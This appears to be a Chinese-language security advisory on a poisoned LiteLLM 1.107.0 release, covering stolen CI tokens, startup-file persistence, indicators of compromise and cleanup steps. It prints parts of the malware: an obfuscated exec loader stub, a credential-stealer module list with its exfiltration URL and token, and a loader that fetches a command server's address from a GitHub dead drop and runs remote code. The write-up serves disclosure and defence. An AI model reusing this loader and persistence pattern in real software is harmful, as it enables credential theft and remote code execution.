LiteLLM 1.107.0 供应链投毒安全事件分析预警

LiteLLM 官方表示，攻击者疑似通过三名工程师的 GitHub CLI OAuth Token 触发并批准了发布流水线；相关 Token 已被吊销，但攻击入口仍在调查中。

hxxp://www[.]litellm[.]dev/healthcheck

攻击者通过 pyproject.toml 中加入 data = "cook" 配置。

data = "cook"

<package>.data/purelib/

恶意 litellm==1.107.0 被发布到 PyPI，并被构建为 Docker 镜像推送至 Docker Hub 和 GHCR。

用户执行：

pip install litellm==1.107.0

或拉取

docker pull litellm/litellm:v1.107.0

site-packages/cook.pth
site-packages/cook.py
site-packages/sitecustomize.py

这就是整个攻击的“落地点”。

一旦运行：

python
pip
pytest
uv
python -m xxx

cook.py 内嵌 Base64+zlib 压缩的约 61 KB 载荷，包含 16 个收集模块。

import zlib as _3659944d,base64 as _35100b45;exec(_3659944d.decompress(_35100b45.b64decode('eNrdfWt327qu4Pf+Ck/XdCTvxu9HnJydcydN0zZtHt1J+nRytGSJtlXLkirJdpKuzm8fAKQk6mU77b53zp2uvWNbAkGQAEEAJEFr7rl+WHGDnUpwD39Ca852Kt8C19mpWO5OxYdfvu6Y7hwApovQsncqIz1g/S78do0ZC3cq...')), {'__name__': 'p14c7d1bb'})

对其解码后：

PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'
PC_PUBKEY = '-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU...'
PC_MODULES = ['sysinfo', 'netinfo', 'browser_pw', 'browser_hist', 'ssh_keys', 'shell_hist',
              'cloud_creds', 'dev_secrets', 'container_creds', 'cicd_secrets', 'ai_devtools',
              'env_vars', 'db_litellm', 'cloud_metadata', 'gpg_keys', 'tls_privkey']
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True

收集结果经 AES-256-CBC 加密，并使用内嵌 RSA-4096 公钥封装，随后 POST 至仿冒域名：

hxxp://www[.]litellm[.]dev/healthcheck

公开报告披露的请求头包括：

X-Token: XWiA8gZNa7NcX2XRoAEb

注意：litellm.dev 并非 LiteLLM 官方域名；官方项目域名为 litellm.ai。

sitecustomize.py 会 fork 一个脱离终端的后台进程，并创建：

/tmp/remote_code_loader.lock

该进程每小时执行以下操作：

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
...
    text = await fetch_text(GITHUB_RAW_URL)
    domain = next((line.strip() for line in text.splitlines() if DOMAIN_RE.match(line.strip())), None)
    ifnot domain:
        return
    await resolve_domain(domain)
    ...
    code = await fetch_text("http://{}{}".format(domain, CODE_PATH))
    await exec_code(code)

访问 GitHub dead drop：

https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt

获取 C2 域名后，从：

http://<C2>/codepy

首要原则：不要先在疑似受感染环境中运行 python、pip 或任何 Python 工具；先用可信介质、宿主机 Shell 或独立取证环境检查。

• 停止部署、调度和自动拉取 litellm==1.107.0；

• 停用并隔离安装过该版本的开发机、CI Runner、构建容器、Proxy 容器；

• 在包代理、制品库、防火墙和 DNS 层封禁 litellm==1.107.0、相关恶意 wheel 哈希及 litellm.dev；

• 保留进程列表、网络日志、容器层、构建日志和文件系统证据，再执行清理或重建。

在不启动 Python的前提下，检查每个虚拟环境、容器层和镜像中的 site-packages 根目录：

find / -path '*/site-packages/cook.pth' -o \
       -path '*/site-packages/cook.py' -o \
       -path '*/site-packages/sitecustomize.py'2>/dev/null

同时检查：

/tmp/.pc_once_72129118c59f5636c0bb
/tmp/remote_code_loader.lock

排查持有 /tmp/remote_code_loader.lock 的脱离终端 Python 进程；sitecustomize.py 文件名本身不构成确凿 IOC，应结合文件位置、大小、哈希和出网行为判断。

• 删除 cook.pth、cook.py、sitecustomize.py 及对应 __pycache__ 编译产物；

• 终止后台 Loader 进程；

• 优先重建虚拟环境、容器镜像和 CI Runner，而不是仅卸载 LiteLLM；

• 回退至官方确认的干净版本 litellm==1.106.2，并使用哈希或镜像 digest 固定，而非仅固定版本号。

site-packages/cook.pth
site-packages/cook.py
site-packages/sitecustomize.py
/tmp/.pc_once_72129118c59f5636c0bb
/tmp/remote_code_loader.lock

hxxp://www[.]litellm[.]dev/healthcheck
X-Token: XWiA8gZNa7NcX2XRoAEb
https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt 
http://<C2>/codepy 

litellm==1.107.0
litellm/litellm:v1.107.0
GHCR tags: v1.107.0, latest, main-latest, main-stable

1. 锁定依赖与镜像 digest：Python 依赖写入 lockfile 并校验哈希；容器禁止使用 latest、main-latest 等浮动标签，改为不可变 digest。

2. 设置新版本冷却期：对刚发布的依赖设置数小时至数天延迟，避免在投毒窗口内自动升级。

3. 保护 CI/CD 身份：发布、审批、部署权限分离；使用短生命周期、最小权限 Token；审计谁能触发和批准 Release Workflow。

4. 校验构建来源与制品内容：比对 Git Tag、构建 provenance、wheel 内容和 Docker 镜像；特别检查 wheel 是否在 site-packages 根部释放 .pth、sitecustomize.py 等启动文件。

5. 降低 AI 网关爆炸半径：LiteLLM 这类网关集中保存 Provider Key、云身份和数据库配置，天然是高价值目标；应使用短时凭据、Secret Manager、最小权限和独立网络边界。

凡是在 10 月 21 日投毒窗口内安装、拉取或运行过 LiteLLM 1.107.0 的环境，都应先隔离、再清理、后重建，并立即从干净环境轮换全部可达凭据；不要在该环境中直接运行 Python 或 pip。

本案例已收录至 AISS 安全智链社区案例库，社区地址：https://aiss.nsfocus.com/#/